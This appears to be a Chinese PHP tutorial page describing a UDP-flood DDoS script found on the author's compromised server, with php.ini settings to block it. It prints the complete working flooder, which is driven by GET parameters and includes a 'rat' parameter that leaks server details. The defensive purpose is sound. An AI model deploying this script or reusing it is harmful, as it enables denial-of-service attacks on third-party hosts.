php的ddos攻擊解決方案，phpddos攻擊_PHP教程

php的ddos攻擊解決方案，phpddos攻擊

本文執行個體講述了php的ddos攻擊解決方案。分享給大家供大家參考。具體分析如下：

今天自己的一台機器突然向外部發送大量資料包,可每秒到1G以上,雖然我用策略把UDP禁止包是發不出去但是很佔cup啊,所以想到最後還是想辦法解決了.

先看源碼,代碼如下:
複製代碼 代碼如下:<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Parameters can not be empty!";
exit;
}

for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}

$max_time = time()+$exec_time;

while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}

echo "Send Host：$host:$port

";
echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";
echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
關鍵代碼在於如下:
複製代碼 代碼如下:$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很簡單,向目標主機發送UDP包,在加上定義無限死迴圈,就會形成較大的壓力.

這個壓力是對於執行這個指令碼的伺服器來說的,因為它首先對自身的網寬、CPU等資源造成大量佔用,如果想用這個指令碼對目標網站形成壓力,需要在多個伺服器上執行該指令碼,DDOS嘛,既然是用fsockopen請求外部,那就不讓他請求.

php.ini裡設定,代碼如下:
複製代碼 代碼如下:allow_url_fopen = Off

如果這樣他還是能發包,代碼如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重啟APACHE、IIS、NGINX,這樣就可以防止PHP DDOS發包了.

另外有網友說,讓指令碼不允許設定為不逾時很簡單：

1. 把set_time_limit函數禁用

2. 啟用PHP的安全模式(safe_mode=on).

禁用socket函數可以把把socket模組直接全部禁用也可以禁用fsockopen函數,建議,由於socket常用於發送郵件找回密碼,因此建議開啟直接開啟安全模式,但是這樣的話,指令碼每30秒逾時一次,估計沒有哪個“駭客”寂寞到每30秒去點一下開始DDOS.

經驗:這種問題一般是網站安全引起的,我們要注意網站的安全及伺服器的安全,這樣就不容易被入侵了,如果會用macofee的朋友,對網站進行限制一下就會更好一些.

希望本文所述對大家的php程式設計有所協助。

http://www.bkjia.com/PHPjc/939403.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/939403.htmlTechArticlephp的ddos攻擊解決方案，phpddos攻擊 本文執行個體講述了php的ddos攻擊解決方案。分享給大家供大家參考。具體分析如下： 今天自己的一台機器突...

